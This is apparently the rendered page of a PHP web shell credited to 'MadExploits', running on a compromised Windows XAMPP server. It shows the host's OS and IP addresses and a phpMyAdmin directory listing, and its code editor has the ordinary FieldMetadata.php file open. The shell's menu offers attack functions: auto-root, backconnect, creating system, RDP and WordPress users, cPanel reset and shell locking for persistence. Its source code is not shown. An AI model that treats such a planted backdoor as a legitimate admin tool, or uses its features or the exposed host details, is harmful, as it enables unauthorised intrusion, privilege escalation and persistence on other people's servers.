Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 13.59.58.68
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
phpMyAdmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxrwxrwx
Command
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
ConfigStorage
[ DIR ]
drwxrwxrwx
Controllers
[ DIR ]
drwxrwxrwx
Crypto
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Dbal
[ DIR ]
drwxrwxrwx
Display
[ DIR ]
drwxrwxrwx
Engines
[ DIR ]
drwxrwxrwx
Exceptions
[ DIR ]
drwxrwxrwx
Export
[ DIR ]
drwxrwxrwx
Gis
[ DIR ]
drwxrwxrwx
Html
[ DIR ]
drwxrwxrwx
Http
[ DIR ]
drwxrwxrwx
Image
[ DIR ]
drwxrwxrwx
Import
[ DIR ]
drwxrwxrwx
Navigation
[ DIR ]
drwxrwxrwx
Partitioning
[ DIR ]
drwxrwxrwx
Plugins
[ DIR ]
drwxrwxrwx
Properties
[ DIR ]
drwxrwxrwx
Providers
[ DIR ]
drwxrwxrwx
Query
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Table
[ DIR ]
drwxrwxrwx
Twig
[ DIR ]
drwxrwxrwx
Utils
[ DIR ]
drwxrwxrwx
WebAuthn
[ DIR ]
drwxrwxrwx
Advisor.php
12.32
KB
-rw-rw-rw-
Bookmark.php
9.19
KB
-rw-rw-rw-
BrowseForeigners.php
10.63
KB
-rw-rw-rw-
Cache.php
1.5
KB
-rw-rw-rw-
Charsets.php
6.82
KB
-rw-rw-rw-
CheckUserPrivileges.php
11.3
KB
-rw-rw-rw-
Common.php
19.4
KB
-rw-rw-rw-
Config.php
41.65
KB
-rw-rw-rw-
Console.php
3.25
KB
-rw-rw-rw-
Core.php
28.91
KB
-rw-rw-rw-
CreateAddField.php
15.83
KB
-rw-rw-rw-
DatabaseInterface.php
71.73
KB
-rw-rw-rw-
DbTableExists.php
2.86
KB
-rw-rw-rw-
Encoding.php
8.41
KB
-rw-rw-rw-
Error.php
13.63
KB
-rw-rw-rw-
ErrorHandler.php
18.63
KB
-rw-rw-rw-
ErrorReport.php
8.99
KB
-rw-rw-rw-
Export.php
45.7
KB
-rw-rw-rw-
FieldMetadata.php
11.11
KB
-rw-rw-rw-
File.php
19.75
KB
-rw-rw-rw-
FileListing.php
2.88
KB
-rw-rw-rw-
FlashMessages.php
1.22
KB
-rw-rw-rw-
Font.php
5.58
KB
-rw-rw-rw-
Footer.php
8.06
KB
-rw-rw-rw-
Git.php
18
KB
-rw-rw-rw-
Header.php
20
KB
-rw-rw-rw-
Import.php
48.72
KB
-rw-rw-rw-
Index.php
14.83
KB
-rw-rw-rw-
IndexColumn.php
4.75
KB
-rw-rw-rw-
InsertEdit.php
89.05
KB
-rw-rw-rw-
InternalRelations.php
17.31
KB
-rw-rw-rw-
IpAllowDeny.php
9.13
KB
-rw-rw-rw-
Language.php
4.47
KB
-rw-rw-rw-
LanguageManager.php
22.74
KB
-rw-rw-rw-
Linter.php
4.99
KB
-rw-rw-rw-
ListAbstract.php
1.67
KB
-rw-rw-rw-
ListDatabase.php
4.11
KB
-rw-rw-rw-
Logging.php
2.69
KB
-rw-rw-rw-
Menu.php
20.4
KB
-rw-rw-rw-
Message.php
18.68
KB
-rw-rw-rw-
Mime.php
918
B
-rw-rw-rw-
Normalization.php
41.53
KB
-rw-rw-rw-
OpenDocument.php
8.62
KB
-rw-rw-rw-
Operations.php
35.11
KB
-rw-rw-rw-
OutputBuffering.php
4.1
KB
-rw-rw-rw-
ParseAnalyze.php
2.34
KB
-rw-rw-rw-
Pdf.php
4.17
KB
-rw-rw-rw-
Plugins.php
21.83
KB
-rw-rw-rw-
Profiling.php
2.16
KB
-rw-rw-rw-
RecentFavoriteTable.php
11.44
KB
-rw-rw-rw-
Replication.php
4.81
KB
-rw-rw-rw-
ReplicationGui.php
21.24
KB
-rw-rw-rw-
ReplicationInfo.php
4.79
KB
-rw-rw-rw-
ResponseRenderer.php
13.5
KB
-rw-rw-rw-
Routing.php
6.55
KB
-rw-rw-rw-
Sanitize.php
11.98
KB
-rw-rw-rw-
SavedSearches.php
11.33
KB
-rw-rw-rw-
Scripts.php
3.74
KB
-rw-rw-rw-
Session.php
8.16
KB
-rw-rw-rw-
Sql.php
64.01
KB
-rw-rw-rw-
SqlQueryForm.php
6.74
KB
-rw-rw-rw-
StorageEngine.php
15.71
KB
-rw-rw-rw-
SystemDatabase.php
3.98
KB
-rw-rw-rw-
Table.php
90.33
KB
-rw-rw-rw-
Template.php
4.5
KB
-rw-rw-rw-
Theme.php
7.32
KB
-rw-rw-rw-
ThemeManager.php
7
KB
-rw-rw-rw-
Tracker.php
30.34
KB
-rw-rw-rw-
Tracking.php
36.11
KB
-rw-rw-rw-
Transformations.php
16.31
KB
-rw-rw-rw-
TwoFactor.php
7.49
KB
-rw-rw-rw-
Types.php
25.85
KB
-rw-rw-rw-
Url.php
10.61
KB
-rw-rw-rw-
UrlRedirector.php
1.74
KB
-rw-rw-rw-
UserPassword.php
6.86
KB
-rw-rw-rw-
UserPreferences.php
10.49
KB
-rw-rw-rw-
Util.php
86.45
KB
-rw-rw-rw-
Version.php
556
B
-rw-rw-rw-
VersionInformation.php
7.3
KB
-rw-rw-rw-
ZipExtension.php
10.33
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FieldMetadata.php
<?php declare(strict_types=1); namespace PhpMyAdmin; use function define; use function defined; use function property_exists; use const MYSQLI_BLOB_FLAG; use const MYSQLI_ENUM_FLAG; use const MYSQLI_MULTIPLE_KEY_FLAG; use const MYSQLI_NOT_NULL_FLAG; use const MYSQLI_PRI_KEY_FLAG; use const MYSQLI_SET_FLAG; use const MYSQLI_TYPE_BIT; use const MYSQLI_TYPE_BLOB; use const MYSQLI_TYPE_DATE; use const MYSQLI_TYPE_DATETIME; use const MYSQLI_TYPE_DECIMAL; use const MYSQLI_TYPE_DOUBLE; use const MYSQLI_TYPE_ENUM; use const MYSQLI_TYPE_FLOAT; use const MYSQLI_TYPE_GEOMETRY; use const MYSQLI_TYPE_INT24; use const MYSQLI_TYPE_JSON; use const MYSQLI_TYPE_LONG; use const MYSQLI_TYPE_LONG_BLOB; use const MYSQLI_TYPE_LONGLONG; use const MYSQLI_TYPE_MEDIUM_BLOB; use const MYSQLI_TYPE_NEWDATE; use const MYSQLI_TYPE_NEWDECIMAL; use const MYSQLI_TYPE_NULL; use const MYSQLI_TYPE_SET; use const MYSQLI_TYPE_SHORT; use const MYSQLI_TYPE_STRING; use const MYSQLI_TYPE_TIME; use const MYSQLI_TYPE_TIMESTAMP; use const MYSQLI_TYPE_TINY; use const MYSQLI_TYPE_TINY_BLOB; use const MYSQLI_TYPE_VAR_STRING; use const MYSQLI_TYPE_YEAR; use const MYSQLI_UNIQUE_KEY_FLAG; use const MYSQLI_UNSIGNED_FLAG; use const MYSQLI_ZEROFILL_FLAG; /** * Handles fields Metadata * * NOTE: Getters are not used in all implementations due to the important cost of getters calls */ final class FieldMetadata { public const TYPE_GEOMETRY = 1; public const TYPE_BIT = 2; public const TYPE_JSON = 3; public const TYPE_REAL = 4; public const TYPE_INT = 5; public const TYPE_BLOB = 6; public const TYPE_UNKNOWN = -1; public const TYPE_NULL = 7; public const TYPE_STRING = 8; public const TYPE_DATE = 9; public const TYPE_TIME = 10; public const TYPE_TIMESTAMP = 11; public const TYPE_DATETIME = 12; public const TYPE_YEAR = 13; /** * @var bool * @readonly */ public $isMultipleKey; /** * @var bool * @readonly */ public $isPrimaryKey; /** * @var bool * @readonly */ public $isUniqueKey; /** * @var bool * @readonly */ public $isNotNull; /** * @var bool * @readonly */ public $isUnsigned; /** * @var bool * @readonly */ public $isZerofill; /** * @var bool * @readonly */ public $isNumeric; /** * @var bool * @readonly */ public $isBlob; /** * @var bool * @readonly */ public $isBinary; /** * @var bool * @readonly */ public $isEnum; /** * @var bool * @readonly */ public $isSet; /** @var int|null */ private $mappedType; /** * @var bool * @readonly */ public $isMappedTypeBit; /** * @var bool * @readonly */ public $isMappedTypeGeometry; /** * @var bool * @readonly */ public $isMappedTypeTimestamp; /** * The column name * * @var string */ public $name; /** * The original column name if an alias did exist * * @var string */ public $orgname; /** * The table name * * @var string */ public $table; /** * The original table name * * @var string */ public $orgtable; /** * The charset number * * @readonly * @var int */ public $charsetnr; /** * The number of decimals used (for integer fields) * * @readonly * @var int */ public $decimals; /** * The width of the field, as specified in the table definition. * * @readonly * @var int */ public $length; /** * A field only used by the Results class * * @var string */ public $internalMediaType; public function __construct(int $fieldType, int $fieldFlags, object $field) { $this->mappedType = $this->getTypeMap()[$fieldType] ?? null; $this->isMultipleKey = (bool) ($fieldFlags & MYSQLI_MULTIPLE_KEY_FLAG); $this->isPrimaryKey = (bool) ($fieldFlags & MYSQLI_PRI_KEY_FLAG); $this->isUniqueKey = (bool) ($fieldFlags & MYSQLI_UNIQUE_KEY_FLAG); $this->isNotNull = (bool) ($fieldFlags & MYSQLI_NOT_NULL_FLAG); $this->isUnsigned = (bool) ($fieldFlags & MYSQLI_UNSIGNED_FLAG); $this->isZerofill = (bool) ($fieldFlags & MYSQLI_ZEROFILL_FLAG); $this->isBlob = (bool) ($fieldFlags & MYSQLI_BLOB_FLAG); $this->isEnum = (bool) ($fieldFlags & MYSQLI_ENUM_FLAG); $this->isSet = (bool) ($fieldFlags & MYSQLI_SET_FLAG); // as flags 32768 can be NUM_FLAG or GROUP_FLAG // reference: https://www.php.net/manual/en/mysqli-result.fetch-fields.php // so check field type instead of flags $this->isNumeric = $this->isType(self::TYPE_INT) || $this->isType(self::TYPE_REAL); /* MYSQLI_PART_KEY_FLAG => 'part_key', MYSQLI_TIMESTAMP_FLAG => 'timestamp', MYSQLI_AUTO_INCREMENT_FLAG => 'auto_increment', */ $this->isMappedTypeBit = $this->isType(self::TYPE_BIT); $this->isMappedTypeGeometry = $this->isType(self::TYPE_GEOMETRY); $this->isMappedTypeTimestamp = $this->isType(self::TYPE_TIMESTAMP); $this->name = property_exists($field, 'name') ? $field->name : ''; $this->orgname = property_exists($field, 'orgname') ? $field->orgname : ''; $this->table = property_exists($field, 'table') ? $field->table : ''; $this->orgtable = property_exists($field, 'orgtable') ? $field->orgtable : ''; $this->charsetnr = property_exists($field, 'charsetnr') ? $field->charsetnr : -1; $this->decimals = property_exists($field, 'decimals') ? $field->decimals : 0; $this->length = property_exists($field, 'length') ? $field->length : 0; // 63 is the number for the MySQL charset "binary" $this->isBinary = ( $fieldType === MYSQLI_TYPE_TINY_BLOB || $fieldType === MYSQLI_TYPE_BLOB || $fieldType === MYSQLI_TYPE_MEDIUM_BLOB || $fieldType === MYSQLI_TYPE_LONG_BLOB || $fieldType === MYSQLI_TYPE_VAR_STRING || $fieldType === MYSQLI_TYPE_STRING ) && $this->charsetnr == 63; } /** * @see https://dev.mysql.com/doc/connectors/en/apis-php-mysqli.constants.html */ private function getTypeMap(): array { // Issue #16043 - client API mysqlnd seem not to have MYSQLI_TYPE_JSON defined if (! defined('MYSQLI_TYPE_JSON')) { define('MYSQLI_TYPE_JSON', 245); } // Build an associative array for a type look up $typeAr = []; $typeAr[MYSQLI_TYPE_DECIMAL] = self::TYPE_REAL; $typeAr[MYSQLI_TYPE_NEWDECIMAL] = self::TYPE_REAL; $typeAr[MYSQLI_TYPE_BIT] = self::TYPE_INT; $typeAr[MYSQLI_TYPE_TINY] = self::TYPE_INT; $typeAr[MYSQLI_TYPE_SHORT] = self::TYPE_INT; $typeAr[MYSQLI_TYPE_LONG] = self::TYPE_INT; $typeAr[MYSQLI_TYPE_FLOAT] = self::TYPE_REAL; $typeAr[MYSQLI_TYPE_DOUBLE] = self::TYPE_REAL; $typeAr[MYSQLI_TYPE_NULL] = self::TYPE_NULL; $typeAr[MYSQLI_TYPE_TIMESTAMP] = self::TYPE_TIMESTAMP; $typeAr[MYSQLI_TYPE_LONGLONG] = self::TYPE_INT; $typeAr[MYSQLI_TYPE_INT24] = self::TYPE_INT; $typeAr[MYSQLI_TYPE_DATE] = self::TYPE_DATE; $typeAr[MYSQLI_TYPE_TIME] = self::TYPE_TIME; $typeAr[MYSQLI_TYPE_DATETIME] = self::TYPE_DATETIME; $typeAr[MYSQLI_TYPE_YEAR] = self::TYPE_YEAR; $typeAr[MYSQLI_TYPE_NEWDATE] = self::TYPE_DATE; $typeAr[MYSQLI_TYPE_ENUM] = self::TYPE_UNKNOWN; $typeAr[MYSQLI_TYPE_SET] = self::TYPE_UNKNOWN; $typeAr[MYSQLI_TYPE_TINY_BLOB] = self::TYPE_BLOB; $typeAr[MYSQLI_TYPE_MEDIUM_BLOB] = self::TYPE_BLOB; $typeAr[MYSQLI_TYPE_LONG_BLOB] = self::TYPE_BLOB; $typeAr[MYSQLI_TYPE_BLOB] = self::TYPE_BLOB; $typeAr[MYSQLI_TYPE_VAR_STRING] = self::TYPE_STRING; $typeAr[MYSQLI_TYPE_STRING] = self::TYPE_STRING; // MySQL returns MYSQLI_TYPE_STRING for CHAR // and MYSQLI_TYPE_CHAR === MYSQLI_TYPE_TINY // so this would override TINYINT and mark all TINYINT as string // see https://github.com/phpmyadmin/phpmyadmin/issues/8569 //$typeAr[MYSQLI_TYPE_CHAR] = self::TYPE_STRING; $typeAr[MYSQLI_TYPE_GEOMETRY] = self::TYPE_GEOMETRY; $typeAr[MYSQLI_TYPE_BIT] = self::TYPE_BIT; $typeAr[MYSQLI_TYPE_JSON] = self::TYPE_JSON; return $typeAr; } public function isNotNull(): bool { return $this->isNotNull; } public function isNumeric(): bool { return $this->isNumeric; } public function isBinary(): bool { return $this->isBinary; } public function isBlob(): bool { return $this->isBlob; } public function isPrimaryKey(): bool { return $this->isPrimaryKey; } public function isUniqueKey(): bool { return $this->isUniqueKey; } public function isMultipleKey(): bool { return $this->isMultipleKey; } public function isUnsigned(): bool { return $this->isUnsigned; } public function isZerofill(): bool { return $this->isZerofill; } public function isEnum(): bool { return $this->isEnum; } public function isSet(): bool { return $this->isSet; } /** * Checks that it is type DATE/TIME/DATETIME */ public function isDateTimeType(): bool { return $this->isType(self::TYPE_DATE) || $this->isType(self::TYPE_TIME) || $this->isType(self::TYPE_DATETIME); } /** * Checks that it contains time * A "DATE" field returns false for example */ public function isTimeType(): bool { return $this->isType(self::TYPE_TIME) || $this->isType(self::TYPE_TIMESTAMP) || $this->isType(self::TYPE_DATETIME); } /** * Get the mapped type as a string * * @return string Empty when nothing could be matched */ public function getMappedType(): string { $types = [ self::TYPE_GEOMETRY => 'geometry', self::TYPE_BIT => 'bit', self::TYPE_JSON => 'json', self::TYPE_REAL => 'real', self::TYPE_INT => 'int', self::TYPE_BLOB => 'blob', self::TYPE_UNKNOWN => 'unknown', self::TYPE_NULL => 'null', self::TYPE_STRING => 'string', self::TYPE_DATE => 'date', self::TYPE_TIME => 'time', self::TYPE_TIMESTAMP => 'timestamp', self::TYPE_DATETIME => 'datetime', self::TYPE_YEAR => 'year', ]; return $types[$this->mappedType] ?? ''; } /** * Check if it is the mapped type * * @phpstan-param self::TYPE_* $type */ public function isType(int $type): bool { return $this->mappedType === $type; } /** * Check if it is NOT the mapped type * * @phpstan-param self::TYPE_* $type */ public function isNotType(int $type): bool { return $this->mappedType !== $type; } }
Close